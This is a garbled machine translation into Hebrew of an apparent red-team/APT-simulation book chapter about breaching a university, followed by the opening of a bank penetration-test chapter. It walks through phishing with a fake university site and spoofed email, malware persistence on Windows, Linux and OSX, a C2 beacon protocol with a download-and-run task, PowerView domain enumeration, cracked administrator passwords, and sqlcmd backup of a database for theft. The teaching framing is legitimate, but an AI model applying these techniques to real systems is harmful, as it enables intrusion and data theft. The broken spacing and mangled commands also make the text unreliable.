עדייןי ש לך שני ד ברים שאתה צריך לע שות -ליצור עי לה מ ש כנעת ) כ לומר ,אתריפה
ואמין( ו ל חתום ע ל קו בץ -jar .האז המת קפה הזו תהיה מו כנה לעוף.
זה לא מ שנה אם אתה פיזי קאי או אר כיאו לוג ,המ ט בע האמיתי בעו לם הא קדמי הוא
יו קרה" .פר סם או לא בד" הוא ה בי טוי שהומצא כדי לתאר את ה ל חץ בא קדמיה לפר סם
במהירות ו באופן מתמ שך ע בודה כדי ל קיים או ל קדם את ה קריירה .זה מינוף שאתהי כו ל
לה שתמ ש בו .עי לה נו ספת שעו בדת טו ב מאוד היא חנופה -צרו הת קפה שמנצ לת את
הרעיונות ה ל לו ותוציאו לפוע ל את המ טען ש ל כם.
צור אתר ב שם "מצא מומ חה" ,שתרמוז שהוא מ שויך ומנוה ל ע לידי האוני בר סי טה .זה
יתיימר להיות ספרייה חד שה שת ק ל ע ל מומ חים ל ק ב ל הזמנות להת ק שרויות די בור
ו כדומה .כ ל מה שצריך זה הר שמה חינם .ההזמנה תהיה מותאמת אי שית ותראה כאי לו
היא מ קורה במ כ ל לה .אתהי כו ל ל ש לו ח דוא" ל ב כ ל אמת לה ל כ ל א חד במ כ ל לה ו כא שר
הואיענה ,תהיה לך את ה כותרת הת חתונה ש ל הדוא" ל ה ס טנדר טית ש ל האוני בר סי טה
שתו כ ל להעתי ק ו להתאים אי שית כדי להתאים לצר כים ש לך.
זיוף אימיי ל
Machine Translated by Google
זיוף אימיי ל
[Link]
מ שו בצת באתר המזויף ש לך ,מת קפה זו מו כנה ל בדי קה ) .ותע שה בדי קה ,באמת ,כי
אם ת ק ל ק ל את ההת קפה הרא שונית ש לך ,המ טרה ש לך תהיה מודעתיותר ותהיה ע ל
המ שמר .ואז בדו ק את זה שו ב(.
Microsoft Windows
מי קרו סופ ט כ ל לה כמה מפת חות שנועדו במ קור ר ק ל בדי קה אך מעו לם לא הו סרו; אתה
י כו ל להפעי ל קוד מ שם באותו אופן:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File
אפ שרויות ביצוע
א ֹו
כ שמ שתמ שים -Registryב)או בעצם כ ל שי טת הפע לה או טומ טית( ,כדאי לזייף את
חותמת הזמן ע ל קו בץ ההפע לה כדי שזהייראה כאי לו הוא שם כ בר הר בה זמן במ קום
להופיע פתאום ביום ש ל ח שד להת קפה .ראיתי אנ לי ס טים מ שפ טיים מנו סים מאוד מ טעים
תו כנות זדוניות בע בר ,כי לא ע לה בדעתם שניתן ל שנות ב ק לות את חותמת הזמן.
שירותים הם דרך פופו לרית מאוד להת קנת תו כנות זדוניות .ה exe.-ש לךיצ טרך להיות
מור כ ב במיו חד כ שירות Windowsאם מ סתתר בדרך זו או שמער כת ההפע לה תהרוג אותו.
דרך נו ספת היא לגרום -Staggerל ש לך להוריד DLLבמ קום EXEו להפנות א ליו ממפת ח
רי שום באמצעות rundll32:
[Link] dllnameentrypoint
עם זאת ,במ קום לר שום את הדר כים הר בות ש בהן אתהי כו ל להתע ק ש -Windows,באני
ממ ליץ לר כו ש את ה כ לי ה חינמי ש ל Microsoft sysinternals Autoruns:
[Link]
כ לי ה שירות המפואר הזה מ כי ל את מ סד הנתונים הגדו ל ביותר ש ל שי טות הפע לה או טומ טית
ה קיימות )ע בוריותר מה טרי קים הפ שו טים ש ל הרי שום שהוז כרו כאן( והוא נמצא ב שימו ש
Machine Translated by Google
קיומה )ע בוריותר מה טרי קים הפ שו טים ש ל הרי שום שהוז כרו כאן( ומ שמ ש
בהתע ס קויות ניתו ח מ שפ טי ותו כנות זדוניות .הואיודע כמה ד ברים מוזרים באמת.
ראוי להז כיר שרו ב מ ח ברי התו כנה הזדונית אינם מאזנים את היתרונות ש ל התמדה
לאורך זמן עם ה סי כוי המוג בר לגי לוי .ניתו ח מ שפ טי מתמ קד לעתים קרו בות בהתמדה
כדי למצוא מ טענים.
לינו ק ס
י ש אמונה שהתמדה ב לינו ק ס )וא כן מער כות UNIXבדרך כ ל ל( נו טה להיות מעור בת
יותר מא שר -Windows.בה סי בה לאמונה ה שגויה הזו היא ש*nix -הר שאות מ שתמ ש
נא כפות ) בה שוואה ) -Windowsל בצורה קפדניתיותר כ ברירת מ חד ל .זה לא נדיר
ש למ שתמ שי Windowsתהיה גי שה להר בהיותר מהרי שום ממה שהם צרי כים .עם זאת,
א לא אם המ שתמ ש ש לך פוע ל -rootכ)או שאתהי כו ל ל ש כנע אותו להפעי ל את ה קוד
ש לך -root),כאז ההתמדה תהיה מוג ב לת למ שתמ ש המ בצע ו כתוצאה מ כך להר שאות
המ שתמ ש.
עם זאת ,זו לא בעיה מ סי בית;י ש הר בה דר כים לה ס לים את הר שאות המ שתמ ש ברגע
שאתה מות קן ואתה עדייןי כו ל לע שות הר בה ח קר ר שת כמ שתמ ש צנוע .עם זאת ,בדרך
כ ל ל ,לא תו כ ל לנ קותיומנים תוך כדי תנועה וזה לא אידיא לי ,אם כי רי שום )או ת שומת
ל ב כ ל שהי ליומנים( הוא פ חות ס ביר ב בניית ת חנת ע בודה.
אני דן בה ס למה ש ל הר שאות ב בוא העת ,ו באופן כ ל לי ,ה שגת גי שה אדמיני ס טר טי בית
מ קומית במ כונת רא ש ה חוף ש לך תהיה ברא ש סדר העדיפויות בעת בניית מוד ל APT.
י שנה א ס כו לה ש לפיה ל לא הר שאות שור ש,י ש להימנע מהתמדה מ כיוון שהיא לא מ ספי ק
חמ קנית.
קיימות שי טות הפע לה שונות הזמינות במער כות הפע לה מ בו ס סות לינו ק ס.
כפי ש כ בר נאמר ,ח ל קם דור שים הר שאות ג בוהות ו ח ל קם לא.
שירותים
ב לינו ק ס,י ש ש לו ש דר כים להת קין ו להפעי ליי שומים כתה לי כי ר קע )או דמונים( .היתרון
ב שימו ש ב שירותים הוא שמער כת ההפע לה תפעי ל מ חד ש את התה ליך ש לך אם הואימות.
א לו הם:
מער כת V init
Upstart systemd
מער כת Vאו initק לא סית נת ק לים לעתים ר חו קות כיום ,והיא מעניינת ר ק בהפצותי שנות
יותר ש ל לינו ק ס כגון:
תצ טרך ליצור ס קריפ ט פונ קציונ לי ש ל Bash initב כתו בת etcinit.d/service.
דוגמאות ש ל ס קריפ טים קיימים ניתן למצוא ב ספרייה etcinit.d .
לא חר מ כן הפע ל:
פעו לה זו תיצור קי שור סימו ל ב ספריות הריצה 2עד 5.כעת ע ליך להו סיף את פ קודת
respawnה באה בetcinittab: -
i[Link]respawn:binsh pathto/application/startup
למרות שעדיין נראה לעתים קרו בות ,זה בדרך כ ל ל מופ ס ק ל טו בת systemd,שע ליו
נ סת כ ל בהמ שך.
כדי לפעו ל כ שירות ,המ טען ש לךיצ טרך ס קריפ ט תצורה ב etcinit -ב שם
[Link].שו ב ,אתהי כו ל ב ק לות לעצ ב את ה ס קריפ ט ש לך באמצעות קו בץ
תצורה קיים .עם זאת ,ודא שה [Link] -ש לך מ כי ל את ה שורות ה באות:
Machine Translated by Google
etcsystemd/system/[Link]/[Link]
הת ח ל את ה שירות:
ה קו בץ etcsystemd/system/[Link]/[Link]צריך
לה כי ל גם שורה כמו
הפע ל מ חד ש=תמיד
קרון
Init Files
עם ה כני סה ,כ ל הפגזים התואמים -Bourneל מ קורו etcprofile,א שר בתורו ממ קור כ ל ק בצי
*.shקריא ב etcprofile.d/. -ס קריפ טים א לה אינם דור שים הנ חיית מתורגמן ,ואינם צרי כים
להיות ניתנים להפע לה .הם מ שמ שים להגדרת ס בי בה ו להגדרת הגדרות ספציפיות ליי שום.
ס בי בות גרפיותי שנם שו ל חנות ע בודה ומנה לי ח לונות שונים ב לינו ק ס ,ש בהם -Gnomeו KDE
עדיין הפופו לריים ביותר .ל כ ל ה ס בי בות ה ל לוי ש דר כים אינדי בידוא ליות מ ש להן להת חי ל קוד
כ שהן מופע לות ,שהן ר בות מ כדי לפר ט כאן.
ההגדרה ש ל rootkitמ שתנה ,אך היא בדרך כ ל ל בינארית במער כת היעד שהו ח לפה
ב קוד זדוני אך שומרת ע ל הפונ קציונ ליות ש ל המ קור .בע בר ,שירותים פ שו טים מ סוימים
) כגון אצ בע( היו מ שתנים כך שי כי לו קוד שיעני ק לתו קף גי שה כא שר התממ ש ק איתו
בצורה ספציפית .מ כיוון שמער כות הפע לה מ בו ס סות לינו ק ס הן קוד פתו ח ,האפ שרויות
להת קפות כא לה מוג ב לות ר ק ע לידי הדמיון ש לך ,אם כי מת קפה זו נופ לתיותר ל ק טגוריה
ש ל ד לת א חורית ו לא התמדהי שרה.
OSX
Apple OSXהיא ל לא ספ ק הפ ל טפורמה המאו ב ט חת ביותר כאן .בה שא לה ממער כת
ההפע לה iOSש לה ,היא בוד קת כעת את כ ל ה חתימות ה בינאריות ,כ לומר זה הופך להיות
ב לתי אפ שרי לערער תה לי כים קיימים ומונע הת קפות כגון הע ברת תה לי כים .עם זאת,
בניגוד -iOS,לאפ לי קציות לא חתומות מור שות לפעו ל ב חופ שיות.
ניתן לה שיג התמדה באמצעות ע בודות cronכמו עם לינו ק ס ,א ב לי ש דר כים טו בותיותר.
האפ לי קציה הרא שונה במצ ב מ שתמ ש לאת חו ל -OSXב מופע לת .ניתן לנצ ל אותו לרעה
כדי לה שיג התמדה באופן ה בא:
# echo bsexec 1 binbash [Link] > [Link]
הו ספת התגנ בות וניהו ל מער כות מרו בות ב ח ל ק זה ,תו סיף פונ קציונ ליות חד שה ני כרת
כדי להפוך את ה 2C-ש לך ל חמ קן ,ח כםיותר ו ק ליותר לניהו ל .מה שצריך לעת עתה
הוא הד ברים ה באים:
Beaconing -כא שר המ טען נמ סר ומות קן ,ע ליו להת ק שר מעת לעת ה ביתה
) שרת ה 2C-ש לך( ע בור הזמנות במ קום ליצור מיד חי בור SSHומנהרה הפו כה.
ער כת פ קודות מוגדרת מרא ש -ק בוצה מ בו ס סת ש ל הוראות שניתן להע ביר למ טען
לצורך ביצוע מ שימות כא שר הוא מת ק שר ה ביתה.
ניהו ל מנהרות -שרת C2צריך להיות מ סוג ל להתמודד עם מ ספר חי בורים נ כנ סים
בו-זמנית ממ טענים ע ל מאר חים שונים ו להיות מ סוג ל ל בצע מנהרות הפו כות
במ ספריציאות תוך מע ק ב א חר איזו מנהרה שיי כת לאיזויציאה.
חזית מ בו ס סת אינ טרנ ט -הפונ קציונ ליות הנו ספת ש לך תדרו ש ממ ש ק קוהרנ טי
לניהו ל הת קפות א ס טר טגי ו ט ק טי כא חד.
לדוגמה ,ההגדרה ה חד שה ש לך ממ חי שה את המע בר למוד ל מ שואות ,כפי שמוצג באיור
2.3.
Machine Translated by Google
איור 2.3:המ סגרת המ שודרגת מ טפ לת במ ספר מאר חים ומער כות הפע לה.
זה פ שו ט וניתן להר ח בה ב ק לות .המ שואה מוע ברת ע לידי המ טען לפי מרוו ח מוגדר
מרא ש .ברירת המ חד ל היא 60שניות ,אך ניתן ל שנות זאת כא שר המ טען עו לה לאוויר.
להת קפה נמו כה ואי טית ,ניתן להגדיר מרוו חים ארו כיםיותר ,ו למע שה להרדים את
המ טען לת קופות ממו ש כות
Machine Translated by Google
ניתן להגדיר מרוו חים ,ו למע שה להרדים את המ טען לפר קי זמן ממו ש כים במידה ויידר ש
התגנ בות נו ספת כזו .ח בי לת XMLמאו כ ל סת תיראה כך:
>מגד לור<
></CurrentUser> </OS> Windows <7 Admin> N </Admin
[Link] </ExternalIP> <CurrentUser> DaveR
><InternalIP> [Link] </InternalIP> <ExternalIP
><HostName> WS-office-23 </HostName
></Beacon
התגו בה ל ח בי לה זו כ לו לה גם -XML:ב
><BeaconResponse
><Command1> </Command1
><Command1Param> </Command1Param
><Command2> </Command2
><Command2Param> </Command2Param
><Command3> </Command3
><Command3Param> </Command3Param
><Command4> </Command4
><Command4Param> </Command4Param
><Command5> </Command5
><Command5Param> </Command5Param
></BeaconResponse
ניתן לערום פ קודות בממ ש ק האינ טרנ ט ל לא הג ב לת זמן ו כו לןי בוצעו כא שר
המ טעןית ק שר ה ביתה לא חר ת קופת ה שינה שהוגדרה לו.
OpenSSHTunnel -זהייצור חי בור SSHב חזרה ל שרת C2,ית חי ל שרת SSHמ קומי וית חי ל מנהרה
הפו כה שתאפ שר ל 2C-לג שת למער כת ה ק בצים ש ל היעד .הפרמ טר הוא היציאה המ קומית )יעד( וא חריה
היציאה ב 2C-שא ליוי ש להע ביר בפורמ ט LxxxCxxx.
מ שימה -הורד קו בץ הפע לה מהאינ טרנ ט והפע ל אותו .הפרמ טר הוא כתו בת
האתר ל קו בץ.
ע בור ממ ש ק האינ טרנ ט וה קצה הא חורי ,אתה צריך מ שהו כדי לע בד את -XML,ה
לא ח סן נתוני ת קיפה נו כ חיים ו להמ חי ש כראוי את המ שימה.י ש כ ל כך הר בה ט כנו לוגיות
זמינות כדי לה שיג זאת ,אז ההמ לצה ה טו בה ביותר היא ל ל כת עם מה שנו ח לך איתו.
עם זאת ,ל כ ל שפות ה ס קריפ ט הגונותי ש ספריות המאפ שרות לך ליצוריי שום אינ טרנ ט
פ שו ט כמו זה במהירות ו ב ק לות.
בניית ממ ש ק ניהו ל
Machine Translated by Google
בניית ממ ש ק ניהו ל
ההעדפה ש לי היא לה שתמ ש בד ברים ה באים ,א ב ל זה נו לד מתוך הרג ל ו לא מתוך
תמי כה אי שית:
שרת אינ טרנ ט -אני אוה ב tinyhttpd.זה קוד פתו ח וי ש לו ט ביעת רג ל ק טנה
מאוד ש ל פרי סה.
שפת ס קריפ טים - Pythonהיא ה ב חירה ש לי אם כי בה ח ל טי ש דר כים ק לותיותר
ל טפ ל במ שימות ה ק שורות לאינ טרנ ט ברו בי.
מ סד נתונים -אני מעדיף PostgreSQL.פעם הייתי אומר MySQL,א ב ל כ בר
לא .אני לא רוצה להי כנ ס להת להמות בנו שא ,א ב ל אור ק ל פ שו ט הר סהיותר מדי
ד ברים שאה בתי.
בא שר לממ ש ק מ שתמ ש ,אני אוה ב ל שמור ע ל ד ברים פ שו טים ,אך ז כור כי תצ טרך
את הד ברים ה באים:
דרך לע קו ב א חר מאר חים כ שהם מ קרינים בזמן אמת .מ סגרת זו בממ ש ק צרי כה
לה שתמ ש בפונ קציונ ליות ש ל AJAXאו שווה ערך ,כך ש כא שר האפ לי קציה
מ ק ב לת מ שואה חד שה ,היא תהיה ג לויה מיד ומו כנה ל ביצוע מ שימות .כ ל מאר ח
צריך להציג את הפעם הא חרונה ב שניות ש בה הוא קי ב ל מ שואה.
יית כן שתרצה ל כתו ב פונ קציה כדי ל בדו ק מעת לעת את מצ ב המנהרות הפתו חות
ו ל סמן כ ל מה שמתו.
תצ טרך להיות דרך לערום פ קודות ע בור כ ל מאר ח ו לתעד אי לו פ קודות בוצעו.
זה ב לתי נמנע ש כא שר אתה עו בד ע ל ה טמעת ת שתית C2ש לך ,תרצה לע שות ד ברים
א חרת ו למצוא דר כיםיצירתיותיותר לפתרון בעיות.י ש לעודד זאת.
ההת קפה
ב ש ל ב זהי ש לך מ טען ת קף ,תירוץ ומנגנון מ סירה.
כעת תו כ ל ל ש לו ח בדואר המוני את ההזמנה ש לך ליעדים באמצעות דוא" ל מזויף
Machine Translated by Google
יצירת ס קריפ ט SMTPל טיפו ל במ ש לו ח היא טריוויא לית ,אךיית כן שתרצה לה שתמ ש
ב ספ ק דוא" ל ע ס קה כדי ל טפ ל במ ש לו ח בפוע ל.י ש הר בה ל ב חירה .ה סי בות ל כך הן
ש בג ל ל דואר ז ב ל,יית כן ש שרת הדואר המ ק ב ל לא בו ט ח כראוי ב כתו בת ה PI-ש לך
למ ש לו ח דואר.י שנם מ ספר ספ קים ב חוץ ,ורו בםיאפ שרו לך ליצור ח ש בון ני סיון
הנמ שך חוד ש או כמות מ סוימת ש ל מיי לים ) בדרך כ ל ל בא לפים נמו כים ,אז מו ש לם
לצר כים ש לנו( .לרו בםי ש אפ שרות לה טמיע באגי אינ טרנ ט בדואר כדי שתו כ לו
לראות מתי הם נפת חו .ודא ש לעו לם לא ת שתמ ש באותם כתו בות IPלמ ש לו ח דואר
ו .2C-זהיהיה ח ב ל שת שתית הפי קוד וה ב קרה ש לך תי ח סם ע לידי כ ל לי אנ טי ספאם.
מודעות למצ ב
המ שימה הרא שונה וה ח שו בה ביותר היא ל ברר הי כן בדיו ק אתה נמצא בר שת ש ליעד
ומה ההר שאות שי ש לך .לא חר מ כן תו כ ל להת חי ל למפות את הר שת ,הנ כ סים ש לה
והמ שתמ שים ש לה ,ותו כ ל לה בין הי כן אתה צריך להיות בי ח ס למ קום ש בו אתה נמצא.
אַזהָ ָרה
שים ל ב ש לפ חותיעד א חד צפה באתר ש לך מהמ ח ש ב ה ביתי ש לו וזה נגוע כעת במ טען
ש לך .בדרך כ ל ל ניתן ל ק בוע זאת במהירות ע לידי כתו בת ה PI-הפנימית וה חיצונית .זה
לא אומר שהם
Machine Translated by Google
מת ברר ע לידי כתו בת ה PI-הפנימית וה חיצונית .זה לא אומר שצריך להוזי ל אותם ל ח לו טין ,מ כיוון שיית כן
שי ש להם קי שוריות VPNאו נתונים א חרים ה ק שורים לע בודה; עם זאת ,אתה תהיה באזור אפור מ שפ טי
במ קרה זה .אני אוה ב לה ש לים מ שימה מוצ ל חת א ב ל אני גם מאוד אוה ב לא להיות ב כ לא.
אנו מוודאים זאת ע לידי שאי לתה ב Active Directory -והורדת ר שימת המאר חים כו לה .זה לאיהיה ש לם
וי כי ל ר ק מ כונות Windowsמ שנת 2000ואי לך ,א ב ל זה די והותר כדי ל בנות ר שימתיעדים ו לה בין מי
נמצא איפה.
[Link]
זהו "או סף ש ל פרוי ק טים ש ל PowerShellעם התמ קדות בפעו לות הת קפיות" וזה שינה ל ח לו טין את
הדרך ש בה אני ניג ש למודעות מצ בית במה לך מוד לים ש ל APTו בדי קות חדירה פנימיות .זה ח ל ק
מהפרוי ק ט ה כו ל ל ש ל Veilו חו בה .א חד ה כ ליםPowerView, ,י כו ל ל שמ ש ל שאי לתה ש ל ה DA-במ ספר
דר כים .נ שתמ ש בו כדי לתפו ס את כ ל המאר חים בדומיין הפנימי:
c:> [Link] -nop -execעו קף >PS c:יי בוא-מודו ל -FullData | Out-File -.
\powerview.ps1 PS c:> Get-NetComputerקידוד ascii [Link]
זה נותן לך מידע מ שמעותי ע ל כ ל מ כונה ב .DA-כדוגמה ,ח ל ק מהמידע הר לוונ טי שנ שמר ע בור כ ל מאר ח
מוצג כאן:
: ח בר ב
CN=GL_APP_VisioPro2010,OU=Applications,OU=Secur ityGroups,OU=coll-domain,DC=uk,DC=coll
ת חוםD ,
=Cמ קומי21-2-2016 [Link] :
pwdlastset
: 21-2-2016 [Link]
adspath כא שר שונה
: LDAP://CN=SOCSCI12-
O,=מ ח ש ביםUO,=תמי כהUO,7SW
U=coll-domain,DC=uk,DC=coll-domain,DC=local
lastlogontimestamp : 21-2-2016 [Link]
ׁ ֵשם : SOCSCI12-WS7
: 1-1-1601 [Link]
lastlogoff whencreated distinguishedname
: 15-12-2014 [Link]
: CN=SOCSCI12-
=מא ב ט חUO,=מ ח ש ביםUO,=תמי כהUO,7SW
eLinkuk,DC=uk,DC=coll-domain,DC=local
מער כת הפע לה :0
badpwdcount : Windows 7 Professional
AD ניתו ח פ ל ט
הפוע לת, אתהי כו ל ל ק בוע את מו ס כמות שמות המאר ח,מתוך פ ל ט זה
ר ק ל חזורPowerView - אתהי כו ל ל ב ק ש מ. ומידע מועי ל א חר,מער כת
א ב ל זהיצור הר בה תנועה,שמות מאר חים ואפי לו פינג אי לו מאר חים פוע לים
: עיון בפ ל ט.שאתה רוצה להימנע ממנו
samaccountname : medlab04-WS12$
: LDAP://CN=medlab04-
adspath
RlacideM=UO,=מ ח ש ביםUO,21SW
,חיפו ש
lastlogontimestamp : 21-2-2016 [Link]
ׁ ֵשם : medlab04-WS12
: CN=medlab04-
שם מ כו בד
=מ ח ש ביםUO,hcraeseRlacideM=UO,21SW
cn : medlab04-WS12
: Windows
מער כת הפע לה 7 Professional
medlab03-FTP
medlab03-SQL
medlab03-WS16
medlab03-WS06
medlab04-WS02
medlab04-WS15
medlab04-WS08
medlab04-WS04
medlab04-WS10
medlab04-WS11
medlab04-WS07
medlab04-WS13
[Link]
מאר ח א חד ב ל בד .זה מא כז ב ,מ כיוון ש כמע ט בוודאות זהיהיה הנת ב ע בור ר שת
המ שנה המ קומית.
אנו נ שתמ ש ב ס קריפ ט זה כדי ל ס כן את הנת ב .לא חר שע שית זאת ,תו כ ל לר שום את
מ שתמ שי המנה ל:
AK1P6IPcOA4ONEoOaNZ4xHNnonB0q16ZuAwrfzewhnY4CUA:SecurePass#1
AK1OtpiTYJpak5+mlrSoGbFUU60sYMLvCB7o/QOeLCFK28A:IloveJustinBeber
כאן אני מ שתמ ש בר שימת המי לים [Link] ,המ כי לה 14מי ליון מי לים.
הת קפת קריפ טה וה שוואה זו מ שווה כ ל מי לה בודדת ומ שווה אותה ; -hashל כא שרי ש לך
התאמה המי לה הזו היא ה סי סמה.
Machine Translated by Google
c:> [Link] -nop -execעו קף >PS c:יי בוא-מודו ל Get-NetUser -FullData | Out-File -.
> \powerview.ps1 PS c:קידוד ascii [Link]
נו .כנראהי כו לתי לנ ח ש את זה ,א ב ל ממ שי כים ה לאה ,בואו נ בדו ק את האי שורים הא לה .אם
הם עו בדים ,זהיפר ט את מ סדי הנתונים הזמינים.
"-s medlab03-SQL -u coll-domain/dgammon -p ILoveJustinBieber -q "exec sp_databases
sqlcmd
הר שימה מציגה אר בעה מ סדי נתונים ש ל MS SQLו db -מ שתמ ש א חד ב שם perfuse-data.
זה נ שמע מ ב טי ח .אז בואו גנו ב את זה .הפ קודה ה באה תג בה את ה db perfuse-data -לדי ס ק,
שם תו כ ל ל ח לץ אותו באמצעות C2:
"'-p ILoveJustinBieber -Q "BACKUP DATABASE perfuse_db TO DISK='C:\perfuse_db.bak
sqlcmd -s medlab03-SQL -u coll-domain/dgammon
זה נגמר המ ש ח ק .ר כ שתי את מ סד הנתונים ש ל היעד ש לנו ,וזה די והותר כדי ל קרוא לזה
ניצ חון .בתר חי ש APTבפוע ל ,הייתי מ שתמ ש באי שורים הא לה כדי ל ק ב ל גי שה נו ספת לת חנות
הע בודה ,גם לתו כנות ריגו ל הפרו סות
Machine Translated by Google
אי שורים כדי ל ק ב ל גי שה נו ספת לת חנות הע בודה ,פר סו תו כנות ריגו ל כמו גם את
ה 2C-ש לי ,וגנ בו כ ל רעיון שה ח בר'ה הא לה הע לו.
סי כום
בפר ק זה ,הצגתי ו ק טור חד ש ש ל הת קפה -יי שומון Java.הר ח בנו את ה 2C-ש לנו
והעמדנו אותו במ ב חן .ברגע שאתה נ כנ ס לר שת ש ליעד ,ע קפת למע שה 90א חוז
מא ב ט חת הפעו לה .במ קרה זה ,היעד ה טמיע חומת א ש כדי ל ח סום את ר שת המ שנה
ש להם מ שאר הר שת ,אך היא הייתה פגיעה והפ כה ב ק לות כדי לתת את המפת חות
לממ ל כה .זה ראוי להדגי ש כי שימו ש חוזר באי שורים הוא הורג כא שר א חת מהמער כות
ה ל לו אינה מאו ב ט חת כמו ה שנייה.
מה שי ש לנו כאן הוא אמונה שמי שהו שרץ בדפדפן מאו ב ט ח ו לא מזי ק -Java .שזה
"מא ב ט ח" -אני כ ל הזמן שומע את זה א ב ל אני לא ב טו ח מה זה אומר .אפ שר ליי שומון
Javaלפעו ל בדפדפן ש לך ואתה מריץ קוד הפע לה במ ח ש ב ש לך ב ב ט חה כאי לו הורדת
קו בץ .exe.חתימת קוד היא ח סרת מ שמעות במאה הע שרים וא חת ואין לה סתמך
ע ליה ל בי ט חון כאן או ב כ ל מ קום א חר.
למרות שפע ה כ לים המ סוג לים " לג לות Command & Control",אתה צריך לה בין
שאתהי כו ל ב ק לות ל בצע הת קפות תוצרת בית ,מותאמות אי שית למ שימה ספציפית
ש לא תזוהה.
הפר ק ה בא בו חן מער כות בנ קאיות מתפ שרות ו חי לוץ נתונים מת קדם.
תרגי לים
1.המ שך ביי שום ה 2C-והתנ סה בת כונות שנדונו.
2.ח קור אי לו ט כנו לוגיות א חרות פוע לות בה ק שר ש ל דף אינ טרנ ט ו כיצד ניתן
לה שתמ ש בהן באופן דומה כדי ל ק ב ל גי שה רא שונית לארגון.
3.נע שה שימו ש באימיי ל המוני בפר ק זה ,א ב ל כמה מ סנני דואר ז ב ל היו עו שים זאת
ח סם אותו -למע שה ,זו לעתים קרו בות ה בעיה הגדו לה ביותר בעת שימו ש בדוא" ל
בתור ו ק טור להת קפה .באי לו ט כנו לוגיות א חרות ניתן לה שתמ ש כדי ל ספ ק את
כתו בת האתר ליעדים א לה בצורה מ ש כנעת?
Machine Translated by Google
ס טייה הי ס טורית
בדי קת ה חדירה הרא שונה ש ביצעתי אי פעם הייתה אתר בנ קאי .זה היה 20
באפרי ל1999. ,הייתי בן 23.אני זו כר הי ט ב את התאריך ,לא בג ל ל שהמ ב חן היה
מעניין או מ למד במיו חד -זה לא היה אף א חד מהם -א לא בג ל ל שהיום ה סתיים
מע ט בצ ל האירועים בתי כון קו לומ ביין ,א שר ) ב שעה הזמן( היה הירי ה ק ט לני ביותר
ב בית ה ספר בתו לדות ארה" ב .ל כן שני האירועים תמיד היו ב לתי נפרדים במו חי.
Machine Translated by Google
שום ד בר לא ב טו ח
אז אין לנו מז ל ,נ כון? זו כר שאמרתי ש שום ד בר לא ב טו ח? ו ב כן ,זה ת קף גם ל בנ קים.
האנ שים ש כות בים קוד או מעצ בים אר כי ט ק טורת ר שתות ל בנ קים ניתנים ל טעויות כמו
כ ל א חד א חר .לא כ ל בוד קי ה חדירה נוצרו שווים ו בי קורות קודי א ב ט חה אינן בדרך
כ ל ל א לא בז בוז זמןי קר כדי ל ספ ק את קצין הציות ומ בוצעות ע לידי אנ שים שאפי לו לא
י כו לים ל קודד ב שפה שהם אמורים ל ס קור .אם אתה חו ש ב שאני צו ח ק ,בפעם ה באה
שאתה מ ש לם 2,000דו לר ליום ע ל מי שהו שיי כנ ס וי בצע ס קירת קוד א ב ט חה ,ב ק ש
ממנו ל כתו ב תו כנית פ שו טה ב שפה הר לוונ טית .ת ק ב ל מ ב ט רי ק ו"ה ס בר" מדוע הם
מ שתמ שים ב כ לי "מיו חד" .אז תגיד להם שהםי כו לים להא שים אותי שגרמתי להם
להיראות טיפ שים.
פו לי טי קה ארגונית
בעיה נו ספת היא שה בנ קים בדרך כ ל ל מפור קים למ חוזות ק טנים -זה נ כון לג בי
ארגונים ר בים א ב ל נ כון במיו חד ב בנ קאות .אין ר ק מ ח ל קת ITא חת או צוות א חד ש ל
קודנים .האנ שים ש כות בים את אפ לי קציית האייפון לצר כן כנראה אפי לו לא פג שו את
האנ שים ש כת בו את אפ לי קציית האתר ה קמעונאי הדומה.
עד שה ח ל ק ה ח שי בתי בפוע ל במו ח ש לי נ כנ ס ורצתי ב חזרה למע בדה ,מ חייג תוך
כדי .הנ קודה ש לי היא שגם אם מי שהו אומר לך שזה ר חו ב חד ס טרי -ת סת כ ל
ל שני ה כיוונים לפני שאתה חוצה אותו.
לעו לם א ל ת סמוך ע ל אי שורי בדי קת ע טים כהו כ חה לי כו לת בעת ש כירתיועצים -כו לם,
ל לאיוצא מן ה כ ל ל ,ז ב ל .ה" כי שורים" ה ל לו מונפ קים ע לידי טפי לי אופור טוני ס טים
ציניים שה שתמ שו -FUDב כדי ל ב ס ס את עצמם כ ס טנדר ט .הם טוענים שהם מ שפרים
את מערך ה כי שורים ה ב סי סי תוך ה ק טנתו לנ קודה הנמו כה ביותר שהייתה אי פעם.
ר קע ותדרוך מ שימה
ה בנ ק מינה זה עתה קצין א ב ט חת מידע רא שי חד ש ) (CISOשהיה להו ט מאוד
להעמיד את א ב ט חת הע ס ק במ ב חן באופן מציאותי .זה היה מ ש ח ק ח כם מצידו,
מ כיוון שי כו לנו ל בדו ק הר בה מע בר ל
Machine Translated by Google
ֶד ֶרך .זה היה מ ש ח ק ח כם מצידו ,ש כןי כו לנו ל בדו ק הר בה מע בר לג בו לות ש ל תרגי ל
ציות ,ו כ ל פגיעות שהתג לתהי כו לה להיות מיו ח סת ל קודמו .התדריך היה בערך כך:
"פרוץ לנו .כ שיהיה לך ,הי כנ ס ותן מצגת לדיר ק טוריון שתפ חיד אותם לעזאז ל ות שיג לי
ת קצי ב גדו ליותר .פ שו ט א ל תע שה שום ד בר לא חו קי" .כאי לו הייתי רוצה.
זה הו לך להיות מ ב חן מאתגר במיו חד ,ו כתוצאה מ כך נצ טרך לפתור כמה בעיות
מ סו ב כות:
איך היינו מת כוונים להע ביר את המ טען ש לנו ב ס בי בה ספר טנית ,מודעת א ב ט חה?
כיצד נו כ ל לה קים ו לנה ל פי קוד ו ב קרה ב ס בי בה ש בה למע ט מאוד מ שתמ שים הייתה
גי שהי שירה לאינ טרנ ט וא לו ש כן נא לצו ל ס בו ל פרו ק סי מג בי ל ביותר?
מ ב חני APTכו ל לים ,בין אם באופןי שיר או ע קיף ,מניפו לציה אנו שית .בני אדם הם לא
מ ח ש בים .הםי ח שדו ו לא תו כ ל להמ שיך לה כות אותם עם הת קפה א חרי הת קפה כו ש לת
-היעד ש לךי בין במהרה שהם ממו קדים.
זוהי גם ס בי בה ש בה מדיניות הא ב ט חה מ חיי בת ש שומרי מ סך נו שאים אזהרות מודעת
א ב ט חה :ד ברים מ סוג "א ל תי ק ח ממת קים מזרים" .בעיה א חת ב כ ל פעם .בואו נע שה
ד ברים הפוך ונד בר קודם ע ל ה 2C-ש לנו.
Machine Translated by Google
מה בדיו ק קורה כאן? "אה ",אתה עונה" ,אתה אידיו ט .אין לך גי שה לאינ טרנ ט )או
לפ חות מנות ICMPמוג ב לות( ,אז אתה מ ק ב ל פ ס ק זמן .מה ח ש בת שי קרה?"
